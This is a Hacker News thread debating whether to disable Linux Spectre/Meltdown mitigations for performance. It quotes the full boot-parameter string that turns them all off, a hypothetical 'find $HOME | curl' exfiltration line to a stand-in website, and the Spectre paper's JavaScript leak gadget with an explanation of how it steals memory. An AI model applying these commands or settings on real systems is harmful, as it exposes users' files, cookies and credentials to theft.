75 points · 2 days ago
    
    If my environment doesn't need to worry about
    executing malicious code and I want syscalls to
    happen as fast as possible, is there a single/simple
    option to disable all the performance killing
    hardware mitigations?

    gregkh Verified 183 points · 2 days ago
    
    https://make-linux-fast-again.com/

(If your environment actually doesn't need to worry about executing malicious code and you want to make syscalls as fast as possible, try a unikernel or implementing your code in a kernel module. Or, depending on what you're doing, try kernel bypass to get to the devices you care about and use something like https://lwn.net/SubscriberLink/816298/4aed890ee2dbffff/ to pin your user code to certain cores and get the kernel completely out of the way. Having to transition out of user mode to access hardware instead of making plain function calls, having to change page tables between processes, etc. are all performance-killing mitigations of their own. http://www.csl.cornell.edu/~delimitrou/papers/2019.asplos.xc... found a 27x performance improvement by getting rid of the privilege boundary between userspace and kernelspace - if you really care about performance and really don't care about malicious code, why would you leave a 27x speedup on the table and worry about a small percentage improvement from these flags??)

Telling people to write in kernel mode if they care about performance isn't realistic. For most people that would mean completely rewriting their code from scratch, foregoing high-level software stacks and languages, giving up on most databases, giving up on all manner of tools and techniques for high-velocity software development, giving up fault tolerance, dealing directly with fiddly hardware issues (when do I need a TLB shootdown?), etc.

Whereas disabling spectre mitigations is a one-line config change.

For use cases where local system security really doesn't matter (of which there are a lot, let's be honest), a one-line config change for a 25% (or whatever it is now) performance boost is a pretty damned good deal.

Gaming is a context where you care about performance and you aren't using multiple apps at once, but (and I admit this is a bit of a naive guess) I'd be surprised if it's syscall-bound. It seems like performance is likely to be I/O-bound (getting assets from disk into memory), CPU-bound, and GPU-bound, but are you really making large numbers of syscalls? (Maybe this matters in online gaming?)

So that leaves basically some specific server workloads, and at that point I think some of these techniques start to be realistic. Pinning your work onto a core and using kernel-bypass networking is a pretty straightforward technique these days. It's not quite as easy as using the kernel interfaces, but it's pretty close, and it's definitely worth investing some engineering effort into if you care about performance - you can get much more than 25% speedups.

I agree that writing in kernel mode is generally unrealistic (although if you're writing a kernel module for Linux, you still don't need to care about fiddly hardware issues - you've got the rest of Linux still running). Mostly I'd like to see more work like the paper I linked - there should be a standard build of Linux which has hardware privilege separation turned off for use in the cases where you actually can avoid hardware privilege separation (single-user VMs on cloud hosts, single-user data crunching machines, dedicated single-tenant database servers, game consoles without web browsers, ebook readers without web browsers, etc.), or at least a flag to spawn a process and leave it in ring 0. If the use cases are plentiful, this seems like it would be valuable for lots of people - and it'd also make it clear that this generally isn't an option you want on personal computers. (But I think the reason this hasn't been done in the last several decades is that there aren't actually that many use cases that are both genuinely single-user and syscall-bound.)

(More to the point - the solution to software bloat isn't to get rid of security protections so that the bloat has room to grow.)

The vast majority of servers don't run any untrusted code. Servers tend to do lots of syscalls for network I/O.

> Gaming is a context where you care about performance and you aren't using multiple apps at once, but (and I admit this is a bit of a naive guess) I'd be surprised if it's syscall-bound.

I would expect that interfacing with the GPU involves a fair number of syscalls -- but admittedly I'm also guessing.

This is a lot of cases. I'd love to get 25% perf back on postgres, or 25% back on my air-gapped DAW, etc. etc.

But they wrote something completely different. It seems to me like you just totally ignored their comment. What's the point of that?

I mean, sure, that site is nuts, it sorely needs documentation. But not every scenario needs Spectre protection.

Are we reading the same HN threads on this page? I'm seeing people who I don't consider to be stupid, who obviously have some Linux knowledge, still advocating that user accounts are a waste of time for most desktops.

If anyone is smart enough and knows enough about Spectre/Meltdown to understand the risks they're taking, they are also smart enough to search online how to disable the kernel protections. The commands aren't hard to find.

If anyone is not smart enough find that information online for themselves, they also don't have enough knowledge to make an informed decision about whether or not it's safe for them to run.

In both cases, there is value in forcing users to display a modicum of knowledge about even just the fact that Spectre/Meltdown exist before we give them a command to run that turns off an important security setting. Anyone who knows anything about Spectre/Meltdown already knows that the mitigations affect performance. They should already know what to search for online without the aid of no-context commands being pasted at the top of HN.

A fool isn't necessarily stupid: plenty of people have knowledge yet terrible judgement.

If anyone is smart enough and knows enough about Spectre/Meltdown to understand the risks they're taking, they are also smart enough to search online how to disable the kernel protections. The commands aren't hard to find.

If anyone is not smart enough find that information online for themselves, they also don't have enough knowledge to make an informed decision about whether or not it's safe for them to run.

In both cases, there is value in forcing users to display a modicum of knowledge about even just the fact that Spectre/Meltdown exist before we give them a command to run that turns off an important security setting. Anyone who knows anything about Spectre/Meltdown already knows that the mitigations affect performance. They should already know what to search for online without the aid of no-context commands being pasted at the top of HN.

You're considering it as advice, when really it should be considered more like a doi.

Then I'm not sure why you disagree with my criticism - I'm claiming that this page appeals to people who have knowledge in this matter but have not done the deep thinking to have wisdom in this matter. There are plenty of smart people who find "Make X Y again" for other values of X and Y appealing.

This all might be a bit too much serious thought for what was intended as a joke initially (the site, not my comments), though.

I mean, phones and tablets do fine without any user-like abstraction. You can sandbox apps without having a concept of multitenancy.

I'm not sure what you mean by "concept of multitenancy," but if you want to "sandbox apps," you cannot let side-channel attacks break that sandbox.

I'm not seeing people here arguing that Linux could get by with only supporting 1 user account. I'm seeing people argue that the biggest reason they avoid running as root is just because userland applications complain about it. It's very difficult to do sandboxing if there isn't some kind of differentiation between a privileged and unprivileged process.

Regardless, Linux also doesn't really have good sandboxing by default, so I'm not completely sure what you're getting at. It's still a bad idea for people to run a Linux system as root.

I disagree. Most users do not understand how speculative side channels work or how they might be affected; many people's experience with Meltdown and Spectre is "my games got slower because of some magical speculative stuff that I don't really understand". Making an informed decision on this is hard.

Leave the HN bubble and go to an average Linux forum. You would be surprised what kind of advise people give or what people are willing to copy and paste into their terminal ;).

This is not meant as a criticism. Most people, including many Linux users, just use their computer as a tool and will just do anything to get it running as they want.

There's a case to be made for gaming, and the mitigations if I remember correctly definitely ding performance on quite a few games, but because most computers used for games have significant amounts of sensitive information on them, among other things, I don't think it really holds well.

Benchmarks (I really dislike linking to this site, but given it did a bunch of benchmarks, it's not the worst thing, I guess):

'Up to 50% performance loss!' is obviously clickbait, and I disagree with a lot of the wording & conclusions & so on, but there's definitely some workloads where the trade-off makes sense.

https://www.phoronix.com/scan.php?page=article&item=linux-42...

https://www.phoronix.com/scan.php?page=article&item=linux-42...

Warning about those benchmarks, though: they're of a rather old kernel version, I imagine they tank performance less now. However, given that 5x has been performing way worse to my knowledge than 4x, 4x is probably what most people would be using for these sorts of things.

EDIT, added section below:

Ah, here we go; how it's effecting modern stuff:

https://www.phoronix.com/scan.php?page=article&item=spectre-...

The mitigations ding it a reasonable amount for a substantial amount of workloads, though it's not as intense as it used to be.

However, I would very much not advise doing so, as I still am unaware of any task that can both, be done without the need for a network connection, while also being significantly slowed down by the mitigations, after recent improvements to the kernel and software. Basically, the potential benefit is very low in a lot of tasks, whilst requiring additional security measures (ideally fully air-gapped) and that you reboot the system every time you'd do such a task.

Also note that, in theory, just being temporarily offline may not shield from being exploited fully.

I would add that it is also needlessly antagonistic in addition to be being in poor taste.

While Javascript is the most likely attack vector for most people, you should not use this command on a system that's running untrusted code from anywhere in any context, and you should consider moving sensitive information like passwords off of the computer.

I use uMatrix to disable Javascript by default on every site I visit, and I still would not feel safe running this command on anything other than a single-purpose device.

That's not to say that there would never be a good reason to run it. A very imprecise, easy test I would propose is, "is your Linux system vetted enough or just unimportant enough that you would feel comfortable getting rid of users and running all of your software as root?" In which case, SPECTRE & friends is probably not a credible threat to you on that machine.

Thus every program without doing anything can access everything, it just needs to spawn a process to read stuff arount the FS, or in the assumption that yu have sudo without password, just gain root access and read /dev/mem. That is more simple than doing a SPECTRE attack.

So who needs these mitigations? Who runs containers or sandbox where you want untrusted code to be isolated. Browsers are an example, but they have specific mitigations anyway, and doing an attack from JS is not that simple really. So really I'm not so worried about SPECTRE for a typical desktop usage.

Of course if we talk about servers they are very important.

The solution is to teach those users how to use sudo properly, not to teach them to be even more insecure than they already are.

It's like saying, "I don't need to wear a seatbelt because I already drive my car at 90mph everywhere, so the seatbelt wouldn't make a difference in a crash anyway."

If you have sudo set up without a password, fix that crud! This is not a new concept, the Linux community has been warning people about unprotected root access for over a decade.

https://mlq.me/download/netspectre.pdf

I don't really understand this point.

Any program you download from the internet, say, VLC or Kodi or a game emulator or whatever, can already do `find $HOME | curl -F my.totally-legitimate.website` and read the memory of all the processes of your user with a script that'd involve `ps -u` and `/proc/yourpid/maps`, mitigations or not, unless you use something like QubesOS (but most people do not).

Leaking bits with spectre would be a super long process versus... just doing that if you could already get the user to download your code.

There are variants of Spectre and Meltdown that expose kernel memory. If you're really in a position where you don't think that makes a difference, then why are you messing around with user accounts in the first place? Why aren't you running all your software as root?

I'm not going to argue Linux sandboxing is awesome -- it's very clearly not. But user permissions are big part of what security we do have. Spectre/Meltdown also limit the effectiveness of the newer sandboxing features we're getting from packaging systems like Flatpack. Maybe you're not running any of that stuff on your system, but...

I'm seeing a lot of people here being kind of blasé about the potential risks, arguing that they only need to protect themselves from websites, and I am skeptical that all of those people actually understand the full extent of these vulnerabilities.

> All of the important things, like passwords and emails and secret keys, are in user space memory or in the user readable file system, generally...

In this scenario in OP's comment, user accessible stuffs are still more interesting than kernel things.

A lot of software gets snippy when you try to run them as root. That said, the biggest advantage of non-root is protecting myself from fucking up my own system.

XKCD relevant: https://xkcd.com/1200/

If somebody gets access to my user account, they can't change my system files, but they can literally buy an entire new PC with my money, on which they can then presumably change whatever system files they want. I hope that example outlines how pointless root protection is in a modern consumer PC.

This is a problem that's fixable with additional security additions, but only if you haven't granted everyone root access.

You can set up ssh with appropriate privileges and chown private keys so that they require a password to access. You can run certain programs like games as unprivileged users without full access to your $HOME directory. You can start using Flatpak and Wayland. Unless you have a Spectre/Meltdown vulnerability, in which case most of that is pointless.

I don't understand the mentality that says, "my system is broadly insecure, so I'd better make it impossible to secure." I mention this elsewhere[0], but a big part of getting to a secure Linux system is patching the holes we can right now.

[0]: https://news.ycombinator.com/item?id=22833614

Broadly, my security profile is "if a remote user can execute code on my system, I have already as lost as hard as it's possible to lose."

Only somewhat devil's advocate: Software running as root can accidentally delete important files. I run software as non-root to prevent myself from my silly mistakes. You don't accidentally leak information through SPECTRE.

I'll be honest, because that's the default on Linux (I'd make the effort to do that for my personal things at least - I'd never do that on computers with shared accounts or with work-related data).

https://xkcd.com/1200 is as true as it ever was.

People mention $HOME access. This is something that we're trying to solve with Flatpack: filesystem access should be sandboxed by default. But that requires coordination with desktop environments like Gnome, otherwise everyone just grants programs anything they want because the UX is bad.

And then on top of that we have X11, which is its own mess, and we're trying to address that with Wayland. But Wayland isn't perfect yet for desktop recording, and there's not a ton of effort from software like Emacs to get off of X and onto Wayland because of "what's the point?" arguments. So Flatpack becomes a lot less valuable because X11 keylogging is so easy.

Then we have just flat-out bad user security, where people are setting up sudo without a password. So process isolation becomes a lot less valuable because programs can just manipulate the raw filesystem.

And then we have Spectre/Meltdown leaking passwords, but who cares because "people don't set passwords anyway."?

And whenever a group of people get together and propose any fixes in isolation, there is inevitably someone in the Linux community who will stand up and say, "Look, Wayland is pointless because someone wrote a keylogger[0]. Why are we spending any time fixing this stuff?"

Imagine you are on a boat with 10 holes in the bottom, all of them leaking water. If you want to fix that problem, there is inevitably going to be a period where 5 of the holes are patched and 5 of them aren't. And if you get to that point and start re-opening the holes that did get patched, it's going to be very hard to make any more progress.

[0]: https://github.com/Aishou/wayland-keylogger

There are definitely still holes in the Linux security model, especially regarding file access (any user process having access to all the user's files is far too broad), but that doesn't mean we should just leave known vulnerabilities open, especially since an attacker may not have all methods of attack available.

My understanding is that Firefox still reduces timer accuracy, Chrome did, but increased timer accuracy again after adding other protections. I'm not sure if Chrome's protections rely on Meltdown vulnerabilities being patched on the OS level or not. It's been a while since I checked back on what the status was there, so I might be wrong.

There are also some concerns about shared memory buffers, which is why I think some of the features around them haven't been enabled in WASM yet. I haven't checked the status on that stuff in a while either.

In any case, for a vulnerability of this scale I bias towards saying people should practice defense in depth. Sometimes browsers have bugs in them, and this would be a particularly bad one. And again, there are userland native apps and systems and package managers that people need to worry about that go beyond browsers.

All an attacker needs to do is distinguish between a cached and non-cached memory read - i.e., was accessing some variable "faster" or "slower". There are lots and lots of ways to measure this. A good whitepaper is "Fantastic Timers and Where to Find Them: High-Resolution Microarchitectural Attacks in Javascript".

The TLDR is that timer resolution reduction is ineffective as a speculative attack mitigation.

Sorry - was just providing a bit more information for those of us who didn't immediately grok the point of a site which is literally just:

noibrs noibpb nopti nospectre_v2 nospectre_v1 l1tf=off nospec_store_bypass_disable no_stf_barrier mds=off tsx=on tsx_async_abort=off mitigations=off

> Yes... that's the entire point of xyz -_-;

...is semi-frequently used to imply "what you said is obvious" with a sort of... dismissive undertone, which might've been what miles was reacting to. Breaking the phrase up a bit more and making it a bit more casual/chipper somehow feels harder to misinterpret this way? Even without resorting to emoji as I have here:

> Yep! That's the point of xyz :)

But I could see myself using your phrasing as a native speaker, so I wouldn't worry about it too much ¯\_(ツ)_/¯

That's... an extremely optimistic perspective on what's running on your system. Disabling JS in browser tab contexts (even if it's universal and not just "by default") is going to cover a pretty small percentage of SPECTRE et al. vectors.

;)

What an incredibly convenient idea that is!

.....

AAAAAAAaaaaaaaa [screams in infosec]

With all current kernels built to mitigate these exploits, and all sane people running those kernels, there's no benefit in patching the browsers too, even if it were somehow possible, which for all intents and purposes it is not.

https://react-etc.net/page/meltdown-spectre-javascript-explo...

https://developer.mozilla.org/en-US/docs/Web/JavaScript/Refe...

Well the link you provide doesnt use SharedArrayBuffer, it is used as part of the exploit if you read the original paper (as a method to make a high resolution timer)

So the original js from the spectre paper was:

  if (index < simpleByteArray.length) {
    index = simpleByteArray[index | 0];
    index = (((index * 4096)|0) & (32*1024*1024-1))|0;
    localJunk ˆ= probeTable[index|0]|0;
  }

The exploit is, that after all that setup, we try accessing each 4096 byte region of probeTable, to see which one is fastest. We can than conclude that was the value of index during the branch misprediction and thus the value of that byte of memory we aren't supposed to see.

If we do this a lot, we can read the rest of the process's memory. The hope is we will be able to find cookies related to other websites currently open, and then do evil things with them.

This attack no longer works because browsers disabled SharedArrayBuffer, which provided the really precise timer. The timing difference is very small so you need a very fine grained timer to make it work. It should also be noted that this variant of spectre is in-process only. Some versions of meltdown/spectre allow accessing memory of other processes, but as far as i understand this version is in process only.

I hope that made sense, and i hope i didnt screw that up.

> to see which one is fastest.

The timing is extremely important and not at all visible in the code (which makes sense, since it's a side-channel attack.)

The other angle of attack that used to be viable was documented in this HN comment: https://news.ycombinator.com/item?id=14057091

But AFAIK all browsers have disabled SAB, e.g. see: https://developer.mozilla.org/en-US/docs/Web/JavaScript/Refe...

EDIT:

Chrome has re-enabled SAB, with mitigations.

I run ScriptBlock anyway, so it's even less of a concern for me.

(I haven't found a JS PoC for Meltdown but I didn't look long.)

    Enable `#shared-array-buffer` in `chrome:///flags` under your own risk...

To the best of my knowledge, it does not have mitigations against Meltdown because it assumes those protections will be implemented at the OS/firmware level, but if anyone has more experience or insight than me on that front, they're welcome to correct me.

In any case, you're making a kind of wild assumption that the type of user who disables a security feature from their OS to get a speed increase won't also likely disable security features like Site Isolation in their browser when they hear that those features increase Chrome's memory usage by somewhere between 10-20%.

https://github.com/tc39/ecma262/issues/1435

AFAIK, Chrome's highest resolution is also in the ms range.

I have some thoughts, too, but thoughts don't amount to a working exploit. Show me a currently working exploit, that is in the open. As far as state actors developing such exploits, there are a ton of holes in that scenario at every layer in the stack.

<<you can busyloop and count iterations of that instead as a “timer”>>

Assuming you're the only job running on the CPU, which is not the case. Threads are not running continuously. But again, if there is a working exploit in the browser then show us. Talk is cheap.

Edit: looks like "performance gained by disabling workarounds for the mostly Intel CPU security flaws are not all that impressive in all workloads": https://linuxreviews.org/HOWTO_make_Linux_run_blazing_fast_(...